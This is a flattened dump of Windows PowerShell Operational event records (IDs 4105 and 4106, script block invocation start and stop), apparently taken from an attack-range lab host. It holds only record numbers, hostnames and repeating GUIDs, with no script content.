410515102150x0669178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 